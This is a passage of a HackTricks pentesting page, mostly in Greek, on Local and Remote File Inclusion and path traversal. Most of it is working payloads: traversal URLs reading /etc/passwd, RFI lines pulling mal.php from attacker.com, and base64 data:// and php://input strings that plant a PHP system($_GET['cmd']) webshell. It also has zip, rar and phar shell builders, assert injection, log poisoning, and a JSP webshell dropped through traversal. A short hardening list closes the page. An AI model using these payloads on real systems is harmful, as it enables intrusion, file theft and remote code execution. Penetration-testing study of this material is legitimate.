File Inclusion/Path traversal
Reading time: 30 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
File Inclusion
Remote File Inclusion (RFI): Το αρχείο φορτώνεται από έναν απομακρυσμένο server (Καλύτερο: Μπορείς να γράψεις τον κώδικα και ο server θα τον εκτελέσει). Σε php αυτό είναι απενεργοποιημένο εξ ορισμού (allow_url_include).
Local File Inclusion (LFI): Ο server φορτώνει ένα τοπικό αρχείο.
Η ευπάθεια εμφανίζεται όταν ο χρήστης μπορεί με κάποιον τρόπο να ελέγξει το αρχείο που πρόκειται να φορτωθεί από τον server.
Ευάλωτες PHP functions: require, require_once, include, include_once
Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Συνδυάζοντας διάφορες *nix LFI λίστες και προσθέτοντας περισσότερες διαδρομές, δημιούργησα αυτή:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
Δοκίμασε επίσης να αλλάξεις /
με \
Δοκίμασε επίσης να προσθέσεις ../../../../../
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξεις αν υπάρχει η ευπάθεια) μπορεί να βρεθεί εδώ
Windows
Συγχώνευση διαφορετικών wordlists:
Δοκίμασε επίσης να αλλάξεις /
με \
Δοκίμασε επίσης να αφαιρέσεις C:/
και να προσθέσεις ../../../../../
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξεις αν υπάρχει η ευπάθεια) μπορεί να βρεθεί εδώ
OS X
Έλεγξε τη λίστα LFI του Linux.
Βασικό LFI και bypasses
Όλα τα παραδείγματα είναι για Local File Inclusion αλλά μπορούν να εφαρμοστούν και σε Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences αφαιρούνται μη-αναδρομικά
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass της προσθήκης περισσότερων χαρακτήρων στο τέλος της παρεχόμενης συμβολοσειράς (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Αυτό έχει επιλυθεί από το PHP 5.4
Κωδικοποίηση
Μπορείτε να χρησιμοποιήσετε μη τυπικές κωδικοποιήσεις όπως double URL encode (και άλλες):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Από υπάρχον folder
Ίσως το back-end ελέγχει το folder path:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Εξερεύνηση file system directories σε server
Το file system ενός server μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον καθορισμό του βάθους καταλόγου και την έρευνα για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω υπάρχει μια λεπτομερής μέθοδος για να το επιτύχετε:
- Καθορίστε το βάθος καταλόγου: Καθορίστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το
/etc/passwd
αρχείο (εφαρμόζεται αν ο server είναι Linux-based). Ένα παράδειγμα URL μπορεί να δομηθεί ως εξής, υποδεικνύοντας βάθος 3:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Έλεγχος φακέλων: Προσθέστε το όνομα του ύποπτου φακέλου (π.χ.,
private
) στο URL, στη συνέχεια μεταβείτε ξανά στο/etc/passwd
. Το επιπλέον επίπεδο καταλόγου απαιτεί αύξηση του βάθους κατά ένα:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Ερμηνεία των Αποτελεσμάτων: Η απάντηση του server υποδεικνύει αν ο φάκελος υπάρχει:
- Σφάλμα / Καμία Έξοδος: Ο φάκελος
private
πιθανότατα δεν υπάρχει στη συγκεκριμένη τοποθεσία. - Contents of
/etc/passwd
: Η παρουσία του φακέλουprivate
επιβεβαιώνεται.
- Αναδρομική Εξερεύνηση: Οι ανακαλυφθέντες φάκελοι μπορούν να εξερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή τις παραδοσιακές Local File Inclusion (LFI) μεθόδους.
Για διερεύνηση καταλόγων σε διαφορετικές θέσεις στο file system, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν το /var/www/
περιέχει έναν κατάλογο private
(υποθέτοντας ότι ο τρέχων κατάλογος βρίσκεται σε βάθος 3), χρησιμοποιήστε:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Η τεχνική Path Truncation είναι μια μέθοδος που χρησιμοποιείται για τη χειραγώγηση μονοπατιών αρχείων σε web εφαρμογές. Συχνά χρησιμοποιείται για να αποκτήσει πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των μονοπατιών αρχείων. Ο στόχος είναι να κατασκευαστεί ένα μονοπάτι αρχείου που, αφού μεταβληθεί από το μέτρο ασφαλείας, να εξακολουθεί να δείχνει στο επιθυμητό αρχείο.
Στην PHP, διάφορες αναπαραστάσεις ενός μονοπατιού αρχείου θεωρούνται ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
/etc/passwd
,/etc//passwd
,/etc/./passwd
και/etc/passwd/
αντιμετωπίζονται όλα ως το ίδιο μονοπάτι.- Όταν οι τελευταίοι 6 χαρακτήρες είναι
passwd
, η προσθήκη ενός/
(κάνοντας τοpasswd/
) δεν αλλάζει το στοχευόμενο αρχείο. - Ομοίως, αν στο μονοπάτι αρχείου προστεθεί
.php
(όπωςshellcode.php
), η προσθήκη ενός/.
στο τέλος δεν θα αλλάξει το αρχείο που προσπελάζεται.
Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιήσετε το Path Truncation για να αποκτήσετε πρόσβαση στο /etc/passwd
, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Σε αυτά τα σενάρια, ο αριθμός των traversals που χρειάζονται μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του διακομιστή.
- Using Dot Segments and Additional Characters: Οι ακολουθίες traversal (
../
) σε συνδυασμό με επιπλέον dot segments και χαρακτήρες μπορούν να χρησιμοποιηθούν για πλοήγηση στο file system, παρακάμπτοντας στην ουσία τυχόν προσαρτημένα strings από τον server. - Determining the Required Number of Traversals: Μέσω δοκιμής και λάθους, μπορεί κανείς να βρει τον ακριβή αριθμό
../
που χρειάζεται για να φτάσει στο root directory και στη συνέχεια στο/etc/passwd
, εξασφαλίζοντας ότι τυχόν προσαρτημένα strings (όπως.php
) εξουδετερώνονται αλλά το επιθυμητό μονοπάτι (/etc/passwd
) παραμένει ανέπαφο. - Starting with a Fake Directory: Είναι κοινή πρακτική να ξεκινά η διαδρομή με έναν ανύπαρκτο κατάλογο (π.χ.
a/
). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιηθούν απαιτήσεις της λογικής ανάλυσης διαδρομής του server.
Όταν χρησιμοποιούνται path truncation techniques, είναι κρίσιμο να κατανοηθεί η συμπεριφορά ανάλυσης διαδρομών του server και η δομή του filesystem. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και συχνά είναι απαραίτητο το testing για να βρεθεί η πιο αποτελεσματική μέθοδος.
This vulnerability was corrected in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή allow_url_include
είναι Off. Πρέπει να είναι On για να λειτουργήσει, και σε αυτή την περίπτωση μπορείς να συμπεριλάβεις ένα PHP αρχείο από τον server σου και να αποκτήσεις RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Αν για κάποιο λόγο allow_url_include
είναι On, αλλά η PHP φιλτράρει την πρόσβαση σε εξωτερικές ιστοσελίδες, σύμφωνα με αυτή την ανάρτηση, μπορείτε για παράδειγμα να χρησιμοποιήσετε το data protocol με base64 για να αποκωδικοποιήσετε έναν b64 PHP κώδικα και να αποκτήσετε RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
Στον προηγούμενο κώδικα, το τελικό +.txt
προστέθηκε επειδή ο attacker χρειαζόταν μια συμβολοσειρά που τελείωνε σε .txt
, έτσι η συμβολοσειρά τελειώνει με αυτό και μετά το b64 decode αυτό το μέρος θα επιστρέψει μόνο junk και ο πραγματικός PHP κώδικας θα συμπεριληφθεί (και ως εκ τούτου θα εκτελεστεί).
Ένα ακόμη παράδειγμα που δεν χρησιμοποιεί το php://
πρωτόκολλο θα ήταν:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python στοιχείο ρίζας
Σε python, σε κώδικα όπως αυτός:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Εάν ο χρήστης περάσει ένα absolute path στο file_name
, η προηγούμενη διαδρομή απλώς αφαιρείται:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Αυτή είναι η αναμενόμενη συμπεριφορά σύμφωνα με the docs:
Αν ένα στοιχείο είναι απόλυτη διαδρομή, όλα τα προηγούμενα στοιχεία απορρίπτονται και η σύνθεση συνεχίζεται από το στοιχείο της απόλυτης διαδρομής.
Java Λίστα καταλόγων
Φαίνεται ότι αν έχετε ένα Path Traversal σε Java και ζητήσετε έναν κατάλογο αντί για αρχείο, επιστρέφεται λίστα του καταλόγου. Αυτό δεν θα συμβεί σε άλλες γλώσσες (όσο γνωρίζω).
Κορυφαίες 25 παράμετροι
Ακολουθεί λίστα με τις κορυφαίες 25 παραμέτρους που θα μπορούσαν να είναι ευάλωτες σε local file inclusion (LFI) vulnerabilities (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI χρησιμοποιώντας PHP wrappers & protocols
php://filter
Οι PHP filters επιτρέπουν την εκτέλεση βασικών επεξεργασιών τροποποίησης στα δεδομένα πριν αυτά διαβαστούν ή εγγραφούν. Υπάρχουν 5 κατηγορίες filters:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Αφαιρεί tags από τα δεδομένα (ό,τι βρίσκεται ανάμεσα στους χαρακτήρες "<" και ">")- Σημειώστε ότι αυτό το filter έχει εξαφανιστεί από τις σύγχρονες εκδόσεις του PHP
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Μετατρέπει σε διαφορετική κωδικοποίηση (convert.iconv.<input_enc>.<output_enc>
). Για να πάρετε τη λίστα όλων των κωδικοποιήσεων που υποστηρίζονται τρέξτε στην κονσόλα:iconv -l
warning
Η καταχρηστική χρήση του φίλτρου μετατροπής convert.iconv.*
μπορεί να σας επιτρέψει να δημιουργήσετε αυθαίρετο κείμενο, το οποίο μπορεί να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια συνάρτηση όπως include να επεξεργάζεται αυθαίρετο κείμενο. Για περισσότερες πληροφορίες ελέγξτε LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: Compress the content (useful if exfiltrating a lot of info)zlib.inflate
: Αποσυμπιέζει τα δεδομένα- Encryption Filters
mcrypt.*
: Deprecatedmdecrypt.*
: Deprecated- Other Filters
- Τρέχοντας στο php
var_dump(stream_get_filters());
μπορείτε να βρείτε μερικά μη αναμενόμενα φίλτρα: consumed
dechunk
: αντιστρέφει την HTTP chunked encodingconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
Το μέρος "php://filter" δεν διακρίνει πεζά-κεφαλαία
Using php filters as oracle to read arbitrary files
In this post προτείνεται μια τεχνική για την ανάγνωση ενός τοπικού αρχείου χωρίς να επιστραφεί το περιεχόμενο από τον server. Αυτή η τεχνική βασίζεται σε μια boolean exfiltration of the file (char by char) using php filters ως oracle. Αυτό συμβαίνει επειδή τα php filters μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε το php να ρίξει μια εξαίρεση.
Στην αρχική ανάρτηση θα βρείτε μια αναλυτική εξήγηση της τεχνικής, αλλά εδώ είναι μια σύντομη περίληψη:
- Use the codec
UCS-4LE
για να αφήσει τον αρχικό χαρακτήρα του κειμένου στην αρχή και να κάνει το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά. - Αυτό θα χρησιμοποιηθεί για να δημιουργήσει ένα κειμένο τόσο μεγάλο όταν ο αρχικός χαρακτήρας μαντευτεί σωστά που το php θα προκαλέσει ένα error
- Το φίλτρο dechunk θα αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι ένας εξαδικός, οπότε μπορούμε να γνωρίζουμε αν ο πρώτος χαρακτήρας είναι hex.
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα filters ανάλογα με το μαντευμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε εφαρμόζοντας αρκετές μετατροπές γίνεται μη-εξαδικός χαρακτήρας. Εάν είναι hex, το dechunk δεν θα το διαγράψει και η αρχική "βόμβα" θα προκαλέσει php error.
- Ο codec convert.iconv.UNICODE.CP930 μετατρέπει κάθε γράμμα στο επόμενο (οπότε μετά από αυτόν τον codec: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν ο πρώτος χαρακτήρας είναι
a
για παράδειγμα, γιατί αν εφαρμόσουμε 6 αυτούς τους codecs a->b->c->d->e->f->g το γράμμα πλέον δεν είναι εξαδικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το php error ενεργοποιείται επειδή πολλαπλασιάζεται με την αρχική βόμβα. - Χρησιμοποιώντας άλλες μετατροπές όπως rot13 στην αρχή είναι δυνατή η leak άλλων χαρακτήρων όπως n, o, p, q, r (και άλλοι codecs μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο hex εύρος).
- Όταν ο αρχικός χαρακτήρας είναι αριθμός χρειάζεται να τον κωδικοποιήσεις με base64 και να leak τα 2 πρώτα γράμματα για να αποκαλυφθεί ο αριθμός.
- Το τελικό πρόβλημα είναι να δούμε πώς να leak περισσότερα από τον αρχικό χαρακτήρα. Χρησιμοποιώντας order memory filters όπως convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE είναι δυνατό να αλλάξεις τη σειρά των χαρακτήρων και να φέρεις στην πρώτη θέση άλλα γράμματα του κειμένου.
- Και για να μπορέσουμε να αποκτήσουμε further data η ιδέα είναι να παράγουμε 2 bytes junk data στην αρχή με convert.iconv.UTF16.UTF16, να εφαρμόσουμε UCS-4LE για να το pivot με τα επόμενα 2 bytes, και dδιαγράψετε τα δεδομένα μέχρι τα junk data (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε έτσι μέχρι να φτάσετε στο επιθυμητό bit για leak.
Στην ανάρτηση διατέθηκε επίσης ένα εργαλείο για την αυτόματη εκτέλεση αυτής της μεθόδου: php_filters_chain_oracle_exploit.
php://fd
Αυτός ο wrapper επιτρέπει την πρόσβαση σε file descriptors που η διεργασία έχει ανοιχτούς. Ενδέχεται να είναι χρήσιμο για να exfiltrate το περιεχόμενο ανοιχτών αρχείων:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Μπορείτε επίσης να χρησιμοποιήσετε php://stdin, php://stdout and php://stderr για να αποκτήσετε πρόσβαση στα file descriptors 0, 1 and 2 αντίστοιχα (δεν είναι σαφές πώς αυτό θα μπορούσε να είναι χρήσιμο σε ένα attack)
zip:// and rar://
Ανεβάστε ένα Zip ή Rar αρχείο με ένα PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό.
Για να μπορέσετε να καταχραστείτε το rar protocol, αυτό πρέπει να ενεργοποιηθεί ειδικά.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Σημειώστε ότι αυτό το πρωτόκολλο περιορίζεται από τις ρυθμίσεις php allow_url_open
και allow_url_include
expect://
Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας αυτό:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Καθορίστε το payload σας στις παραμέτρους POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Ένα αρχείο .phar
μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια web εφαρμογή αξιοποιεί συναρτήσεις όπως το include
για φόρτωση αρχείων. Το ακόλουθο απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου .phar
:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Για να μεταγλωττίσετε το αρχείο .phar
, εκτελέστε την ακόλουθη εντολή:
php --define phar.readonly=0 create_path.php
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα test.phar
, το οποίο ενδέχεται να χρησιμοποιηθεί για την εκμετάλλευση ευπαθειών Local File Inclusion (LFI).
Σε περιπτώσεις όπου το LFI απλώς διαβάζει αρχεία χωρίς να εκτελεί τον PHP κώδικα που περιέχουν — μέσω συναρτήσεων όπως file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, ή filesize()
— μπορεί να επιχειρηθεί εκμετάλλευση μιας deserialization vulnerability. Αυτή η ευπάθεια συνδέεται με την ανάγνωση αρχείων χρησιμοποιώντας το phar
protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Ήταν δυνατό να καταχραστεί any arbitrary file read from PHP that supports php filters για να αποκτηθεί RCE. The detailed description can be found in this post.
Πολύ σύντομη περίληψη: μια 3 byte overflow στο PHP heap εκμεταλλεύτηκε για να alter the chain of free chunks ενός συγκεκριμένου μεγέθους, προκειμένου να είναι δυνατή η write anything in any address, οπότε προστέθηκε ένα hook για να καλέσει system
.
Ήταν δυνατό να alloc chunks συγκεκριμένων μεγεθών καταχρώμενοι περισσότερα php filters.
More protocols
Check more possible protocols to include here:
- php://memory and php://temp — Γράφει στη μνήμη ή σε ένα προσωρινό αρχείο (δεν είμαι σίγουρος πώς αυτό μπορεί να είναι χρήσιμο σε μια file inclusion attack)
- file:// — Πρόσβαση στο τοπικό filesystem
- http:// — Πρόσβαση σε HTTP(s) URLs
- ftp:// — Πρόσβαση σε FTP(s) URLs
- zlib:// — Ροές συμπίεσης
- glob:// — Εύρεση μονοπατιών που ταιριάζουν με πρότυπο (Δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
- ssh2:// — Secure Shell 2
- ogg:// — Audio streams (Δεν είναι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)
LFI via PHP's 'assert'
Οι κίνδυνοι από Local File Inclusion (LFI) στο PHP είναι ιδιαίτερα υψηλοί όταν εμπλέκεται η συνάρτηση 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό εάν γίνεται έλεγχος εισόδου που περιέχει χαρακτήρες directory traversal όπως ".." αλλά δεν γίνεται σωστή αποστείρωση (sanitization).
Για παράδειγμα, ο PHP κώδικας μπορεί να έχει σχεδιαστεί για να αποτρέπει το directory traversal ως εξής:
assert("strpos('$file', '..') === false") or die("");
Ενώ αυτό στοχεύει στο να σταματήσει το traversal, άθελά του δημιουργεί ένα διάνυσμα για code injection. Για να το εκμεταλλευτεί για reading file contents, ένας attacker θα μπορούσε να χρησιμοποιήσει:
' and die(highlight_file('/etc/passwd')) or '
Παρομοίως, για την εκτέλεση αυθαίρετων εντολών συστήματος, μπορεί να χρησιμοποιηθεί:
' and die(system("id")) or '
It's important to URL-encode these payloads.
PHP Blind Path Traversal
warning
Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου εσείς control το file path μιας PHP function που θα access a file αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση στο file()
) καθώς το περιεχόμενο δεν εμφανίζεται.
In αυτό το εκπληκτικό άρθρο it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
Συνοπτικά, η τεχνική χρησιμοποιεί την "UCS-4LE" encoding για να κάνει το περιεχόμενο ενός αρχείου τόσο big ώστε η PHP function opening το αρχείο να προκαλέσει ένα error.
Στη συνέχεια, για να leak τον πρώτο χαρακτήρα ο filter dechunk
χρησιμοποιείται μαζί με άλλα όπως base64 ή rot13, και τελικά οι filters convert.iconv.UCS-4.UCS-4LE και convert.iconv.UTF16.UTF-16BE χρησιμοποιούνται για να place other chars at the beggining and leak them.
Συναρτήσεις που μπορεί να είναι ευπαθείς: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Για τις τεχνικές λεπτομέρειες δείτε το προαναφερθέν άρθρο!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, ..
segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Τυπική ροή εκμετάλλευσης:
- Εντοπίστε ένα write primitive σε ένα endpoint ή background worker που δέχεται path/filename και γράφει περιεχόμενο στο disk (π.χ. message-driven ingestion, XML/JSON command handlers, ZIP extractors, κ.λπ.).
- Προσδιορίστε web-exposed directories. Συνήθη παραδείγματα:
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
→ dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
→ dropshell.aspx
- Apache/PHP:
- Δημιουργήστε ένα traversal path που διαφεύγει από τον προβλεπόμενο storage directory προς το webroot, και συμπεριλάβετε το webshell περιεχόμενό σας.
- Πλοηγηθείτε στο dropped payload και εκτελέστε εντολές.
Σημειώσεις:
- Η ευπαθής υπηρεσία που πραγματοποιεί το write μπορεί να ακούει σε έναν non-HTTP port (π.χ. ένας JMF XML listener στο TCP 4004). Το κύριο web portal (διαφορετική θύρα) θα σερβίρει αργότερα το payload.
- Σε Java stacks, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή concatenation
File
/Paths
. Η έλλειψη canonicalisation/allow-listing είναι το βασικό σφάλμα.
Γενικό παράδειγμα σε στυλ XML/JMF (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Hardening that defeats this class of bugs:
- Επίλυση σε κανονική διαδρομή και επιβολή ότι είναι απόγονος ενός βασικού καταλόγου που περιλαμβάνεται στη λίστα επιτρεπόμενων.
- Απορρίψτε οποιαδήποτε διαδρομή περιέχει
..
, απόλυτες ρίζες ή γράμματα δίσκων· προτιμήστε generated filenames. - Εκτελέστε τη διαδικασία που γράφει τα αρχεία ως λογαριασμό με χαμηλά προνόμια και διαχωρίστε τους καταλόγους εγγραφής από τις ρίζες που εξυπηρετούνται.
Remote File Inclusion
Εξηγήθηκε προηγουμένως, ακολουθήστε αυτόν τον σύνδεσμο.
Μέσω αρχείου καταγραφής Apache/Nginx
Αν ο Apache ή ο Nginx server είναι ευάλωτος σε LFI μέσα στη συνάρτηση include, μπορείτε να δοκιμάσετε να αποκτήσετε πρόσβαση στα /var/log/apache2/access.log
or /var/log/nginx/access.log
, να βάλετε μέσα στο user agent ή σε ένα GET parameter ένα php shell όπως <?php system($_GET['c']); ?>
και να συμπεριλάβετε αυτό το αρχείο
warning
Σημειώστε ότι εάν χρησιμοποιήσετε διπλά εισαγωγικά για το shell αντί για μονά εισαγωγικά, τα διπλά εισαγωγικά θα μετατραπούν στην συμβολοσειρά "quote;", η PHP θα εμφανίσει σφάλμα εκεί και τίποτε άλλο δεν θα εκτελεστεί.
Επίσης, βεβαιωθείτε ότι γράφετε σωστά το payload αλλιώς η PHP θα εμφανίζει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
